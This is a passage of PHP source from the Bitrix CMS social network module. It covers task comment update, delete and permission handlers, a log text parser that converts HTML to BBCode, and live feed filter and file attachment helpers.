						$ufDocID = $USER_FIELD_MANAGER->GetUserFieldValue("FORUM_MESSAGE", "UF_FORUM_MESSAGE_DOC", $messageID, LANGUAGE_ID);
						$ufUrlPreview = $USER_FIELD_MANAGER->GetUserFieldValue("FORUM_MESSAGE", "UF_FORUM_MES_URL_PRV", $messageID, LANGUAGE_ID);
					}

					if ($messageID && ($arMessage = CForumMessage::GetByID($messageID)))
					{
						CSocNetLog::Update(
							$arFields["LOG_ID"],
							array(
								'PARAMS' => serialize(array('TYPE' => 'comment'))
							)
						);
					}
				}
			}
		}

		return array(
			"SOURCE_ID" => $messageID,
			"MESSAGE" => (!empty($arFieldsMessage) ? $arFieldsMessage["POST_MESSAGE"] : false),
			"RATING_TYPE_ID" => "FORUM_POST",
			"RATING_ENTITY_ID" => $messageID,
			"ERROR" => $sError,
			"NOTES" => $sNote,
			"UF" => array(
				"FILE" => $ufFileID,
				"DOC" => $ufDocID,
				"URL_PREVIEW" => $ufUrlPreview
			),
			"URL" => false
		);
	}

	public static function GetCommentUrl_Task($arFields)
	{
		$messageUrl = '';

		global $USER;

		if (
			is_array($arFields)
			&& !empty($arFields["ENTRY_ID"])
			&& $USER->IsAuthorized()
			&& CModule::IncludeModule('tasks')
		)
		{
			$messageUrl = CTaskNotifications::getNotificationPath(
				array('ID' => $USER->GetId()),
				$arFields["ENTRY_ID"],
				false
			);
			$messageUrl .= (strpos($messageUrl, '?') !== false ? '&' : '?').'MID=#ID#';

			if (!empty($arFields["COMMENT_ID"]))
			{
				$messageUrl = str_replace('#ID#', intval($arFields["COMMENT_ID"]), $messageUrl);
			}
		}

		return $messageUrl;
	}

	public static function UpdateComment_Task($arFields)
	{
		global $USER_FIELD_MANAGER;

		if (!CModule::IncludeModule("forum") || !CModule::IncludeModule("tasks"))
		{
			return false;
		}

		if (
			!isset($arFields["SOURCE_ID"])
			|| intval($arFields["SOURCE_ID"]) <= 0
		)
		{
			return false;
		}

		$messageId = intval($arFields["SOURCE_ID"]);

		$sError = '';

		$ufFileID = array();
		$ufDocID = array();

		$arFields["LOG_ID"] = intval($arFields["LOG_ID"]);

		if ($arFields["LOG_ID"] && ($arForumMessage = CForumMessage::GetByID($messageId)))
		{
			$arFieldsMessage = array(
				"POST_MESSAGE" => $arFields["TEXT_MESSAGE"],
				"USE_SMILES" => "Y",
				"APPROVED" => "Y",
				"SONET_PERMS" => array("bCanFull" => true)
			);

			$logItem = CSocNetLog::GetList(
				array(),
				array("ID" => $arFields["LOG_ID"]),
				false,
				false,
				array("ID", "SOURCE_ID", "SITE_ID")
			)->fetch();

			$arTmp = array();
			$USER_FIELD_MANAGER->EditFormAddFields("SONET_COMMENT", $arTmp);
			if (is_array($arTmp) && $logItem)
			{
				if (array_key_exists("UF_SONET_COM_DOC", $arTmp))
				{
					$GLOBALS["UF_FORUM_MESSAGE_DOC"] = $arTmp["UF_SONET_COM_DOC"];
				}
				elseif (array_key_exists("UF_SONET_COM_FILE", $arTmp))
				{
					$arFieldsMessage["FILES"] = array();
					foreach($arTmp["UF_SONET_COM_FILE"] as $file_id)
					{
						$arFieldsMessage["FILES"][$file_id] = array("FILE_ID" => $file_id);
					}
					if (!empty($arFieldsMessage["FILES"]))
					{
						$arFileParams = array("FORUM_ID" => $arForumMessage["FORUM_ID"], "TOPIC_ID" => $arForumMessage["TOPIC_ID"]);
						if(CForumFiles::CheckFields($arFieldsMessage["FILES"], $arFileParams, "NOT_CHECK_DB"))
						{
							CForumFiles::Add(array_keys($arFieldsMessage["FILES"]), $arFileParams);
						}
					}
				}
			}

			$taskId = intval($logItem["SOURCE_ID"]);

			$feed = new \Bitrix\Forum\Comments\Feed(
				$arForumMessage["FORUM_ID"],
				array(
					"type" => 'TK',
					"id" => $taskId,
					"xml_id" => "TASK_".$taskId
				)
			);

			\Bitrix\Tasks\Integration\SocialNetwork::disable(); // disable socnet on comment add to avoid recursion
			$message = $feed->edit($messageId, $arFieldsMessage);
			\Bitrix\Tasks\Integration\SocialNetwork::enable(); // enable it back

			$messageID = false;
			if(is_array($message))
			{
				$messageID = $message['ID'];
			}
			else
			{
				foreach($feed->getErrors() as $error)
				{
					$sError .= $error->getMessage();
				}
			}

			unset($GLOBALS["UF_FORUM_MESSAGE_DOC"]);

			// get UF DOC value and FILE_ID there
			if ($messageID > 0)
			{
				$dbAddedMessageFiles = CForumFiles::GetList(array("ID" => "ASC"), array("MESSAGE_ID" => $messageID));
				while ($arAddedMessageFiles = $dbAddedMessageFiles->Fetch())
				{
					$ufFileID[] = $arAddedMessageFiles["FILE_ID"];
				}

				$ufDocID = $USER_FIELD_MANAGER->GetUserFieldValue("FORUM_MESSAGE", "UF_FORUM_MESSAGE_DOC", $messageID, LANGUAGE_ID);
			}
		}
		else
		{
			$sError = GetMessage("SONET_UPDATE_COMMENT_SOURCE_ERROR");
		}

		return array(
			"ERROR" => $sError,
			"NOTES" => '',
			"UF" => array(
				"FILE" => $ufFileID,
				"DOC" => $ufDocID
			)
		);
	}

	function DeleteComment_Task($arFields)
	{
		$arRes = array();

		$messageId = intval($arFields["SOURCE_ID"]);
		$forumId = COption::GetOptionString("tasks", "task_forum_id", 0, '');

		if (
			!empty($arFields)
			&& !empty($arFields["LOG_SOURCE_ID"])
			&& intval($arFields["LOG_SOURCE_ID"]) > 0
			&& intval($forumId) > 0
			&& CModule::IncludeModule('forum')
		)
		{
			$feed = new \Bitrix\Forum\Comments\Feed(
				intval($forumId),
				array(
					"type" => 'TK',
					"id" => intval($arFields["LOG_SOURCE_ID"]),
					"xml_id" => "TASK_".$arFields["LOG_SOURCE_ID"]
				)
			);

			\Bitrix\Tasks\Integration\SocialNetwork::disable(); // disable socnet on comment add to avoid recursion
			$result = $feed->delete($messageId);
			\Bitrix\Tasks\Integration\SocialNetwork::enable(); // enable it back

			if (!$result)
			{
				$arRes["ERROR"] = "";
				foreach($feed->getErrors() as $error)
				{
					$arRes["ERROR"] .= $error->getMessage();
				}
			}
			else
			{
				$arRes["NOTES"] = GetMessage("SONET_DELETE_COMMENT_SOURCE_SUCCESS");
			}
		}
		else
		{
			$arRes["ERROR"] = GetMessage("SONET_DELETE_COMMENT_SOURCE_ERROR");
		}

		return $arRes;
	}

	function CanEditComment_Task($arParams)
	{
		$res = false;

		$forumId = COption::GetOptionString("tasks", "task_forum_id", 0, '');

		if (
			!empty($arParams)
			&& !empty($arParams["LOG_SOURCE_ID"])
			&& intval($arParams["LOG_SOURCE_ID"]) > 0
			&& !empty($arParams["USER_ID"])
			&& intval($arParams["USER_ID"]) > 0
			&& intval($forumId) > 0
			&& CModule::IncludeModule('forum')
		)
		{
			try
			{
				$feed = new \Bitrix\Forum\Comments\Feed(
					intval($forumId),
					array(
						"type" => 'TK',
						"id" => intval($arParams["LOG_SOURCE_ID"]),
						"xml_id" => "TASK_".$arParams["LOG_SOURCE_ID"]
					)
				);
				$res = $feed->getEntity()->canEdit(intval($arParams["USER_ID"]));
			}
			catch (Exception $e)
			{
			}
		}

		return $res;
	}

	function CanEditOwnComment_Task($arParams)
	{
		$res = false;

		$forumId = COption::GetOptionString("tasks", "task_forum_id", 0, '');

		if (
			!empty($arParams)
			&& !empty($arParams["LOG_SOURCE_ID"])
			&& intval($arParams["LOG_SOURCE_ID"]) > 0
			&& !empty($arParams["USER_ID"])
			&& intval($arParams["USER_ID"]) > 0
			&& intval($forumId) > 0
			&& CModule::IncludeModule('forum')
		)
		{
			try
			{
				$feed = new \Bitrix\Forum\Comments\Feed(
					intval($forumId),
					array(
						"type" => 'TK',
						"id" => intval($arParams["LOG_SOURCE_ID"]),
						"xml_id" => "TASK_".$arParams["LOG_SOURCE_ID"]
					)
				);
				$res = $feed->getEntity()->canEditOwn(intval($arParams["USER_ID"]));
			}
			catch (Exception $e)
			{
			}
		}

		return $res;
	}
}

class logTextParser extends CTextParser
{
	var $matchNum = 0;
	var $matchNum2 = 0;

	function logTextParser($strLang = False, $pathToSmile = false)
	{
		$this->CTextParser();
		global $CACHE_MANAGER;

		$this->MaxStringLen = 0;
		$this->smiles = array();
		if ($strLang === False)
			$strLang = LANGUAGE_ID;
		$this->pathToSmile = $pathToSmile;

		if($CACHE_MANAGER->Read(604800, "b_sonet_smile"))
			$arSmiles = $CACHE_MANAGER->Get("b_sonet_smile");
		else
		{
			$db_res = CSocNetSmile::GetList(array("SORT" => "ASC"), array("SMILE_TYPE" => "S"/*, "LANG_LID" => $strLang*/), false, false, Array("LANG_LID", "ID", "IMAGE", "DESCRIPTION", "TYPING", "SMILE_TYPE", "SORT"));
			while ($res = $db_res->Fetch())
			{
				$tok = strtok($res['TYPING'], " ");
				while ($tok !== false)
				{
					$arSmiles[$res['LANG_LID']][] = array(
						'TYPING' => $tok,
						'IMAGE'  => stripslashes($res['IMAGE']), // stripslashes is not needed here
						'DESCRIPTION' => stripslashes($res['NAME']) // stripslashes is not needed here
					);
					$tok = strtok(" ");
				}
			}

			function sonet_sortlen($a, $b) 
			{
				if (strlen($a["TYPING"]) == strlen($b["TYPING"]))
					return 0;

				return (strlen($a["TYPING"]) > strlen($b["TYPING"])) ? -1 : 1;
			}

			foreach ($arSmiles as $LID => $arSmilesLID)
			{
				uasort($arSmilesLID, 'sonet_sortlen');
				$arSmiles[$LID] = $arSmilesLID;
			}

			$CACHE_MANAGER->Set("b_sonet_smile", $arSmiles);
		}
		$this->smiles = $arSmiles[$strLang];
	}

	function convert($text, $arImages = array(), $allow = array("HTML" => "N", "ANCHOR" => "Y", "BIU" => "Y", "IMG" => "Y", "QUOTE" => "Y", "CODE" => "Y", "FONT" => "Y", "LIST" => "Y", "SMILES" => "Y", "NL2BR" => "N", "VIDEO" => "Y", "TABLE" => "Y", "CUT_ANCHOR" => "N", "SHORT_ANCHOR" => "N"), $arParams = Array())
	{
		$this->allow = array(
			"HTML" => ($allow["HTML"] == "Y" ? "Y" : "N"),
			"NL2BR" => ($allow["NL2BR"] == "Y" ? "Y" : "N"),
			"LOG_NL2BR" => ($allow["LOG_NL2BR"] == "N" ? "N" : "Y"),
			"MULTIPLE_BR" => ($allow["MULTIPLE_BR"] == "N" ? "N" : "Y"),
			"CODE" => ($allow["CODE"] == "N" ? "N" : "Y"),
			"LOG_CODE" => ($allow["LOG_CODE"] == "N" ? "N" : "Y"),
			"VIDEO" => ($allow["VIDEO"] == "N" ? "N" : "Y"),
			"LOG_VIDEO" => ($allow["LOG_VIDEO"] == "N" ? "N" : "Y"),
			"ANCHOR" => ($allow["ANCHOR"] == "N" ? "N" : "Y"),
			"LOG_ANCHOR" => ($allow["LOG_ANCHOR"] == "N" ? "N" : "Y"),
			"BIU" => ($allow["BIU"] == "N" ? "N" : "Y"),
			"IMG" => ($allow["IMG"] == "N" ? "N" : "Y"),
			"LOG_IMG" => ($allow["LOG_IMG"] == "N" ? "N" : "Y"),
			"QUOTE" => ($allow["QUOTE"] == "N" ? "N" : "Y"),
			"LOG_QUOTE" => ($allow["LOG_QUOTE"] == "N" ? "N" : "Y"),
			"FONT" => ($allow["FONT"] == "N" ? "N" : "Y"),
			"LOG_FONT" => ($allow["LOG_FONT"] == "N" ? "N" : "Y"),
			"LIST" => ($allow["LIST"] == "N" ? "N" : "Y"),
			"SMILES" => ($allow["SMILES"] == "N" ? "N" : "Y"),
			"TABLE" => ($allow["TABLE"] == "N" ? "N" : "Y"),
			"ALIGN" => ($allow["ALIGN"] == "N" ? "N" : "Y"),
			"CUT_ANCHOR" => ($allow["CUT_ANCHOR"] == "Y" ? "Y" : "N"),
			"SHORT_ANCHOR" => ($allow["SHORT_ANCHOR"] == "Y" ? "Y" : "N"),
			"HEADER" => ($allow["HEADER"] == "N" ? "N" : "Y"),
			"USERFIELDS" => (!!$allow["USERFIELDS"] ? $allow["USERFIELDS"] : "N"),
			"USER" => ($allow["USER"] == "N" ? "N" : "Y")
		);

		if ($this->allow["HTML"] != "Y")
		{
			$text = preg_replace("#(<br[\s]*\/>)#is".BX_UTF_PCRE_MODIFIER, "", $text);

			$text = preg_replace(
				array(
					"#<a[^>]+href\s*=\s*('|\")(.+?)(?:\\1)[^>]*>(.*?)</a[^>]*>#is".BX_UTF_PCRE_MODIFIER,
					"#<a[^>]+href(\s*=\s*)([^'\"\>])+>(.*?)</a[^>]*>#is".BX_UTF_PCRE_MODIFIER),
				"[url=\\2]\\3[/url]", $text);

			$replaced = 0;
			do
			{
				$text = preg_replace(
					"/<([busi])[^>a-z]*>(.+?)<\\/(\\1)[^>a-z]*>/is".BX_UTF_PCRE_MODIFIER,
					"[\\1]\\2[/\\1]",
				$text, -1, $replaced);
			}
			while($replaced > 0);

			$text = preg_replace(
				"#<img[^>]+src\s*=[\s'\"]*(((http|https|ftp)://[.-_:a-z0-9@]+)*(\/[-_/=:.a-z0-9@{}&?%]+)+)[\s'\"]*[^>]*>#is".BX_UTF_PCRE_MODIFIER,
				"[img]\\1[/img]", $text);

			$text = preg_replace(
				array(
					"/\<font[^>]+size\s*=[\s'\"]*([0-9]+)[\s'\"]*[^>]*\>(.+?)\<\/font[^>]*\>/is".BX_UTF_PCRE_MODIFIER,
					"/\<font[^>]+color\s*=[\s'\"]*(\#[a-f0-9]{6})[^>]*\>(.+?)\<\/font[^>]*>/is".BX_UTF_PCRE_MODIFIER,
					"/\<font[^>]+face\s*=[\s'\"]*([a-z\s\-]+)[\s'\"]*[^>]*>(.+?)\<\/font[^>]*>/is".BX_UTF_PCRE_MODIFIER),
				array(
					"[size=\\1]\\2[/size]",
					"[color=\\1]\\2[/color]",
					"[font=\\1]\\2[/font]"),
				$text);

			$text = preg_replace(
				array(
					"/\<ul((\s[^>]*)|(\s*))\>(.+?)<\/ul([^>]*)\>/is".BX_UTF_PCRE_MODIFIER,
					"/\<ol((\s[^>]*)|(\s*))\>(.+?)<\/ol([^>]*)\>/is".BX_UTF_PCRE_MODIFIER,
					"/\<li((\s[^>]*)|(\s*))\>/is".BX_UTF_PCRE_MODIFIER,
					),
				array(
					"[list]\\4[/list]",
					"[list=1]\\4[/list]",
					"[*]",
					),
				$text);

			$text = preg_replace(
				array(
					"/\<table((\s[^>]*)|(\s*))\>(.+?)<\/table([^>]*)\>/is".BX_UTF_PCRE_MODIFIER,
					"/\<tr((\s[^>]*)|(\s*))\>(.*?)<\/tr([^>]*)\>/is".BX_UTF_PCRE_MODIFIER,
					"/\<td((\s[^>]*)|(\s*))\>(.*?)<\/td([^>]*)\>/is".BX_UTF_PCRE_MODIFIER,
					),
				array(
					"[table]\\4[/table]",
					"[tr]\\4[/tr]",
					"[td]\\4[/td]",
					),
				$text);

			if ($this->allow["QUOTE"]=="Y")
				$text = preg_replace("#<(/?)quote(.*?)>#is", "[\\1quote]", $text);

		}
		if ($this->allow["LOG_IMG"] == "N")
			$text = preg_replace("/(\[file([^\]]*)id\s*=\s*([0-9]+)([^\]]*)\])/is", "", $text);

		if ($this->allow["LOG_NL2BR"] == "Y")
		{
			$text = str_replace("<br />", "\n", $text);
		}
		$text = $this->convertText($text);
		if ($this->allow["LOG_NL2BR"] == "Y")
		{
			$text = str_replace("\n", "<br />", $text);
		}

		$text = preg_replace("#^(<br[\s]*\/>[\s\n]*)+#is".BX_UTF_PCRE_MODIFIER, "", $text);
		$text = preg_replace("#(<br[\s]*\/>[\s\n]*)+$#is".BX_UTF_PCRE_MODIFIER, "", $text);

		if ($this->allow["MULTIPLE_BR"] == "N")
			$text = preg_replace("#(<br[\s]*\/>[\s\n]*)+#is".BX_UTF_PCRE_MODIFIER, "<br />", $text);

		return trim($text);
	}

	function convert_anchor_tag($url, $text, $pref="")
	{
		if ($this->allow["LOG_ANCHOR"] == "N")
			return "[URL]".$text."[/URL]";
		else
			return parent::convert_anchor_tag($url, $text, $pref);
	}

	function convert_image_tag($url = "", $params = "")
	{
		if ($this->allow["LOG_IMG"] == "N")
		{
// use thumbnail?
			return "";
		}
		else
			return parent::convert_image_tag($url, $params);
	}

	function pre_convert_code_tag ($text = "")
	{
		if (strLen($text)<=0) return;

		$text = str_replace("\\\"", "\"", $text);

		$word_separator = str_replace("\]", "", $this->word_separator);
		$text = preg_replace("'(?<=^|[".$word_separator."]|\s)((http|https|news|ftp|aim|mailto)://[\.\-\_\:a-z0-9\@]([^\s\'\"\[\]\{\}])*)'is",
			"[nomodify]\\1[/nomodify]", $text);

		return $text;
	}

	function convert_code_tag($text = "")
	{
		$text = preg_replace("#(<br[\s]*\/>)#is".BX_UTF_PCRE_MODIFIER, "", $text);
		if ($this->allow["LOG_CODE"] == "N")
		{
			$text = str_replace(Array("[nomodify]", "[/nomodify]"), Array("", ""), $text);
			return $text;
		}
		else
			return parent::convert_code_tag($text);
	}

	function convert_quote_tag($text = "")
	{
		if ($this->allow["LOG_QUOTE"] == "N")
		{
			return preg_replace(
				array(
					"/\[quote([^\]\<\>])*\]/i".BX_UTF_PCRE_MODIFIER,
					"/\[\/quote([^\]\<\>])*\]/i".BX_UTF_PCRE_MODIFIER,
				),
				"",
			$text);
		}
		else
		{
			return parent::convert_quote_tag($text);
		}
	}

	function convert_font_attr($attr, $value = "", $text = "")
	{
		if (strlen($text)<=0) return "";
		$text = str_replace("\\\"", "\"", $text);
		if (strlen($value)<=0) return $text;

		if ($this->allow["LOG_FONT"] == "N")
		{
			return $text;
		}
		else
		{
			return parent::convert_font_attr($attr, $value, $text);
		}
	}

	function convert_video($params)
	{
		if ($this->allow["LOG_VIDEO"] == "N")
		{
			return '<a href="'.$params['PATH'].'">'.$params['PATH'].'</a>';
		}
		else
		{
			return parent::convert_video($params);
		}
	}
}

class CSocNetLogComponent
{
	private $arItems = null;

	public function __construct($params)
	{
		$this->arItems = $params["arItems"];
	}

	public function OnBeforeSonetLogFilterFill(&$arPageParamsToClear, &$arItemsTop, &$arItems)
	{
		$arItems = $this->arItems;
	}

	public static function ConvertPresetToFilters($arPreset, $arParams = array())
	{
		global $USER;

		static
			$inited = false,
			$isExtranetAvailable = false,
			$isExtranetSite = false,
			$isTasksAvailable = false,
			$isCrmAvailable = false,
			$isListsAvailable = false,
			$isTimemanAvailable = false;

		$arFilter = array();

		if (!$inited)
		{
			$isExtranetAvailable = (
				\Bitrix\Main\ModuleManager::isModuleInstalled('extranet')
			);
			$isExtranetSite = (
				$isExtranetAvailable
				&& \Bitrix\Main\Loader::includeModule('extranet')
				&& CExtranet::isExtranetSite()
			);
			$isTasksAvailable = (
				\Bitrix\Main\ModuleManager::isModuleInstalled('tasks')
			);
			$isCrmAvailable = (
				\Bitrix\Main\ModuleManager::isModuleInstalled('crm')
			);
			$isListsAvailable = (
				\Bitrix\Main\ModuleManager::isModuleInstalled('lists')
				&& \Bitrix\Main\ModuleManager::isModuleInstalled('bizproc')
				&& \Bitrix\Main\ModuleManager::isModuleInstalled('intranet')
			);
			$isTimemanAvailable = (
				\Bitrix\Main\ModuleManager::isModuleInstalled('timeman')
			);
			$inited = true;
		}

		foreach ($arPreset as $key => $arPresetFilterTmp)
		{
			$bCorrect = true;

			if (!empty($arPresetFilterTmp["ID"]))
			{
				if (
					$arPresetFilterTmp["ID"] == "extranet"
					&& (
						!$isExtranetAvailable
						|| $isExtranetSite
					)
				)
				{
					unset($arPresetFilterTmp["ID"]);
				}
				elseif
				(
					$arPresetFilterTmp["ID"] == "work"
					&& $isCrmAvailable
					&& \Bitrix\Main\Config\Option::get("crm", "enable_livefeed_merge", "N") == "Y"
					&& !empty($arPresetFilterTmp["FILTER"])
					&& is_array($arPresetFilterTmp["FILTER"]["EVENT_ID"])
				)
				{
					$arPreset[$key] = $arPresetFilterTmp["FILTER"]["EVENT_ID"] = array_unique(array_merge($arPresetFilterTmp["FILTER"]["EVENT_ID"], array("crm_activity_add")));
				}

				if (empty($arPresetFilterTmp["ID"]))
				{
					continue;
				}
			}

			if (
				!empty($arPresetFilterTmp["FILTER"])
				&& !empty($arPresetFilterTmp["EVENT_ID"])
			)
			{
				foreach ($arPresetFilterTmp["FILTER"]["EVENT_ID"] as $eventKey => $eventId)
				{
					if (
						($eventId == "tasks" && !$isTasksAvailable)
						|| (in_array($eventId, array("timeman_entry", "report")) && !$isTimemanAvailable)
					)
					{
						unset($arPresetFilterTmp["FILTER"]["EVENT_ID"][$eventKey]);
					}
				}

				if (empty($arPresetFilterTmp["FILTER"]["EVENT_ID"]))
				{
					continue;
				}
			}

			if (
				!empty($arPresetFilterTmp["FILTER"])
				&& !empty($arPresetFilterTmp["FILTER"]["EXACT_EVENT_ID"])
			)
			{
				if (
					(
						$arPresetFilterTmp["FILTER"]["EXACT_EVENT_ID"] == "lists_new_element"
						&& (
							(
								isset($arParams["GROUP_ID"])
								&& intval($arParams["GROUP_ID"]) > 0
							)
							|| !$isListsAvailable
							|| $isExtranetSite
						)
					)
				)
				{
					unset($arPresetFilterTmp["FILTER"]["EXACT_EVENT_ID"]);
				}

				if (empty($arPresetFilterTmp["FILTER"]["EXACT_EVENT_ID"]))
				{
					continue;
				}
			}

			if (array_key_exists("NAME", $arPresetFilterTmp))
			{
				switch(strtoupper($arPresetFilterTmp["NAME"]))
				{
					case "#WORK#":
						$arPresetFilterTmp["NAME"] = GetMessage("SONET_INSTALL_LOG_PRESET_WORK"); // lang/include.php
						break;
					case "#FAVORITES#":
						$arPresetFilterTmp["NAME"] = GetMessage("SONET_INSTALL_LOG_PRESET_FAVORITES");
						break;
					case "#IMPORTANT#":
						$arPresetFilterTmp["NAME"] = GetMessage("SONET_INSTALL_LOG_PRESET_IMPORTANT");
						break;
					case "#MY#":
						$arPresetFilterTmp["NAME"] = GetMessage("SONET_INSTALL_LOG_PRESET_MY");
						break;
					case "#BIZPROC#":
						$arPresetFilterTmp["NAME"] = GetMessage("SONET_INSTALL_LOG_PRESET_BIZPROC");
						break;
					case "#EXTRANET#":
						$arPresetFilterTmp["NAME"] = GetMessage("SONET_INSTALL_LOG_PRESET_EXTRANET");
						break;
				}
			}

			if (
				array_key_exists("FILTER", $arPresetFilterTmp)
				&& is_array($arPresetFilterTmp["FILTER"])
			)
			{
				foreach($arPresetFilterTmp["FILTER"] as $tmp_id_2 => $filterTmp)
				{
					if (
						(
							!is_array($filterTmp)
							&& $filterTmp == "#CURRENT_USER_ID#"
						)
						|| (
							is_array($filterTmp)
							&& in_array("#CURRENT_USER_ID#", $filterTmp)
						)
					)
					{
						if (!$USER->isAuthorized())
						{
							$bCorrect = false;
							break;
						}
						elseif (!is_array($filterTmp))
						{
							$arPresetFilterTmp["FILTER"][$tmp_id_2] = $USER->getId();
						}
						elseif (is_array($filterTmp))
						{
							foreach($filterTmp as $tmp_id_3 => $valueTmp)
							{
								if ($valueTmp == "#CURRENT_USER_ID#")
								{
									$arPresetFilterTmp["FILTER"][$tmp_id_2][$tmp_id_3] = $USER->getId();
								}
							}
						}
					}
					elseif (
						(
							!is_array($filterTmp)
							&& $filterTmp == "#EXTRANET_SITE_ID#"
						)
						|| (
							is_array($filterTmp)
							&& in_array("#EXTRANET_SITE_ID#", $filterTmp)
						)
					)
					{
						if (
							!IsModuleInstalled("extranet")
							|| !COption::GetOptionString("extranet", "extranet_site", false)
						)
						{
							$bCorrect = false;
							break;
						}
						elseif (!is_array($filterTmp))
						{
							$arPresetFilterTmp["FILTER"][$tmp_id_2] = COption::GetOptionString("extranet", "extranet_site");
						}
						elseif (is_array($filterTmp))
						{
							foreach($filterTmp as $tmp_id_3 => $valueTmp)
							{
								if ($valueTmp == "#EXTRANET_SITE_ID#")
								{
									$arPresetFilterTmp["FILTER"][$tmp_id_2][$tmp_id_3] = COption::GetOptionString("extranet", "extranet_site");
								}
							}
						}
					}
				}
			}

			if ($bCorrect)
			{
				$arFilter[$arPresetFilterTmp["ID"]] = $arPresetFilterTmp;
			}
		}

		return $arFilter;
	}

	public static function OnSonetLogFilterProcess($preset_filter_top_id, $preset_filter_id, $arResultPresetFiltersTop, $arResultPresetFilters)
	{
		$arResult = array();

		if (
			strlen($preset_filter_id) > 0
			&& array_key_exists($preset_filter_id, $arResultPresetFilters)
			&& isset($arResultPresetFilters[$preset_filter_id]["FILTER"])
			&& is_array($arResultPresetFilters[$preset_filter_id]["FILTER"])
		)
		{
			if (array_key_exists("EXACT_EVENT_ID", $arResultPresetFilters[$preset_filter_id]["FILTER"]))
			{
				$arResult["PARAMS"]["EXACT_EVENT_ID"] = $arResultPresetFilters[$preset_filter_id]["FILTER"]["EXACT_EVENT_ID"];
				$arResult["GET_COMMENTS"] = false;
			}

			if (array_key_exists("!EXACT_EVENT_ID", $arResultPresetFilters[$preset_filter_id]["FILTER"]))
			{
				$arResult["PARAMS"]["!EXACT_EVENT_ID"] = $arResultPresetFilters[$preset_filter_id]["FILTER"]["!EXACT_EVENT_ID"];
				$arResult["GET_COMMENTS"] = false;
			}

			if (array_key_exists("EVENT_ID", $arResultPresetFilters[$preset_filter_id]["FILTER"]))
			{
				$arResult["PARAMS"]["EVENT_ID"] = $arResultPresetFilters[$preset_filter_id]["FILTER"]["EVENT_ID"];
				$arResult["GET_COMMENTS"] = false;
			}

			if (array_key_exists("CREATED_BY_ID", $arResultPresetFilters[$preset_filter_id]["FILTER"]))
			{
				$arResult["PARAMS"]["CREATED_BY_ID"] = $arResultPresetFilters[$preset_filter_id]["FILTER"]["CREATED_BY_ID"];
			}

			if (
				array_key_exists("FAVORITES_USER_ID", $arResultPresetFilters[$preset_filter_id]["FILTER"])
				&& $arResultPresetFilters[$preset_filter_id]["FILTER"]["FAVORITES_USER_ID"] == "Y"
			)
			{
				$arResult["PARAMS"]["FAVORITES"] = "Y";
				$arResult["GET_COMMENTS"] = false;
			}

			$arResult["PARAMS"]["SET_LOG_COUNTER"] = $arParams["SET_LOG_PAGE_CACHE"] = "N";
			$arResult["PARAMS"]["USE_FOLLOW"] = "N";

			if (array_key_exists("SITE_ID", $arResultPresetFilters[$preset_filter_id]["FILTER"]))
			{
				$arResult["PARAMS"]["FILTER_SITE_ID"] = $arResultPresetFilters[$preset_filter_id]["FILTER"]["SITE_ID"];
			}
		}

		return $arResult;
	}

	public static function GetSiteByDepartmentId($arDepartmentId)
	{
		if (!is_array($arDepartmentId))
		{
			$arDepartmentId = array($arDepartmentId);
		}

		$bFound = $arResult = false;

		$dbSitesList = CSite::GetList($b = "SORT", $o = "asc", array("ACTIVE" => "Y")); // cache used
		while ($arSite = $dbSitesList->GetNext())
		{
			$siteRootDepartmentId = COption::GetOptionString("main", "wizard_departament", false, $arSite["LID"], true);
			if ($siteRootDepartmentId)
			{
				if (in_array($siteRootDepartmentId, $arDepartmentId))
				{
					$arResult = $arSite;
					$bFound = true;
				}
				else
				{
					$arSubStructure = CIntranetUtils::getSubStructure($siteRootDepartmentId);
					$arSiteDepartmentId = array_keys($arSubStructure["DATA"]);

					foreach($arDepartmentId as $userDepartmentId)
					{
						if(in_array($userDepartmentId, $arSiteDepartmentId))
						{
							$arResult = $arSite;
							$bFound = true;
							break;
						}
					}
				}

				if($bFound)
				{
					break;
				}
			}
		}

		if (!$bFound)
		{
			if ($defSiteId = \CSite::getDefSite())
			{
				$res = CSite::getByID($defSiteId);
				$arResult = $res->fetch();
			}
		}

		return $arResult;
	}

	public static function saveRawFilesToUF($arAttachedFilesRaw, $ufCode, &$arFields)
	{
		if (empty($arFields[$ufCode]))
		{
			$arFields[$ufCode] = array();
		}

		$arRelation = array();
		$type = false;

		foreach ($arAttachedFilesRaw as $attachedFileRow)
		{
			if (
				!empty($attachedFileRow["base64"])
				&& !empty($attachedFileRow["url"])
			)
			{
				$fileContent = base64_decode($attachedFileRow["base64"]);
				$arUri = parse_url($attachedFileRow["url"]);
				if (
					!empty($arUri)
					&& !empty($arUri["path"])
				)
				{
					$fileName = $arUri["path"];
				}

				if (
					!empty($fileContent)
					&& !empty($fileName)
				)
				{
					$fileName = CTempFile::GetFileName($fileName);

					if(CheckDirPath($fileName))
					{
						file_put_contents($fileName, $fileContent);
						$arFile = CFile::MakeFileArray($fileName);

						$resultId = self::saveFileToUF($arFile, $type, false);

						if ($resultId)
						{
							$arFields[$ufCode][] = $resultId;
						}

						if (!empty($attachedFileRow["id"]))
						{
							$arRelation[$attachedFileRow["id"]] = $resultId;
						}
					}
				}
			}
		}

		if (!empty($arRelation))
		{
			$arFields["DETAIL_TEXT"] = preg_replace_callback(
				"/\[DISK\s+FILE\s+ID\s*=\s*pseudo@([\d]+)\]/is".BX_UTF_PCRE_MODIFIER,
				function ($matches) use ($arRelation, $type)
				{
					if (isset($arRelation[intval($matches[1])]))
					{
						if ($type == "disk")
						{
							return "[DISK FILE ID=".$arRelation[intval($matches[1])]."]";
						}
						elseif ($type == "webdav")
						{
							return "[DOCUMENT ID=".intval($arRelation[intval($matches[1])])."]";
						}
						else
						{
							return "[DISK FILE ID=pseudo@".$matches[1]."]";
						}
					}
					else
					{
						return "[DISK FILE ID=pseudo@".$matches[1]."]";
					}
				},
				$arFields["DETAIL_TEXT"]
			);
		}
	}

	public static function saveFileToUF($arFile = array(), &$type, $userId = false)
	{
		global $USER, $DB, $USER_FIELD_MANAGER;

		static $isDiskEnabled = false;
		static $isWebDavEnabled = false;

		static $arDiskData = array();
		static $arWebDavData = array();

		$resultId = false;

		if (
			!$userId
			|| intval($userId) <= 0
		)
		{
			$userId = $USER->GetID();
		}

		if ($isDiskEnabled === false)
		{
			$isDiskEnabled = (
				\Bitrix\Main\Config\Option::get('disk', 'successfully_converted', false)
				&& CModule::includeModule('disk')
					? 'Y'
					: 'N'
			);
		}

		if ($isWebDavEnabled === false)
		{
			$isWebDavEnabled = (
				CModule::includeModule('webdav')
					? "Y"
					: "N"
			);
		}

		if (!isset($arDiskData[$userId]))
		{
			$arDiskData[$userId] = array(
				"ENABLED" => "N"
			);

			if ($isDiskEnabled == "Y")
			{
				if (
